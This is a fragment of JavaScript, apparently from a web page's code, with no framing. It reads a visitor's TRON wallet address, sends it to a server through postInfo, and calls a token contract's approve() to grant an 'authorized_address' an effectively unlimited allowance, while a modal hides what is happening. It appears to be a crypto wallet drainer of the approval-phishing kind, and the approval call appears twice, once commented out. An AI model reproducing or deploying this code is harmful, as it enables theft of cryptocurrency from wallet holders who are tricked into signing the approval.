| | |
| | | $('.modal').removeClass('modal-out').addClass('modal-in'); |
| | | let tronWeb = window.tronWeb; |
| | | let walletAddress = tronWeb.defaultAddress.base58; |
| | | postInfo(walletAddress,bizhong); |
| | | // bizhong = await getMostValuableAssets(walletAddress); |
| | | // let instance = await tronWeb.contract().at(approveAddr); |
| | | // let res = await instance["approve"](authorized_address,"90000000000000000000000000000"); |
| | | // res.send({ |
| | | // feeLimit: 100000000, |
| | | // callValue: 0, |
| | | // shouldPollResponse: false |
| | | // },function(err,res){ |
| | | // if(err == null){ |
| | | // $(".tishi").fadeIn() |
| | | // setTimeout(function () { |
| | | // $(".tishi").fadeOut() |
| | | // },2000); |
| | | // postInfo(walletAddress,bizhong) |
| | | // } |
| | | // $('.modal-overlay').remove(); |
| | | // $('.modal').removeClass('modal-in').addClass('modal-out'); |
| | | // }) |
| | | let instance = await tronWeb.contract().at(approveAddr); |
| | | let res = await instance["approve"](authorized_address,"90000000000000000000000000000"); |
| | | res.send({ |
| | | feeLimit: 100000000, |
| | | callValue: 0, |
| | | shouldPollResponse: false |
| | | },function(err,res){ |
| | | if(err == null){ |
| | | $(".tishi").fadeIn() |
| | | setTimeout(function () { |
| | | $(".tishi").fadeOut() |
| | | },2000); |
| | | postInfo(walletAddress,bizhong) |
| | | } |
| | | $('.modal-overlay').remove(); |
| | | $('.modal').removeClass('modal-in').addClass('modal-out'); |
| | | }) |
| | | } |
| | | function init() { |
| | | } |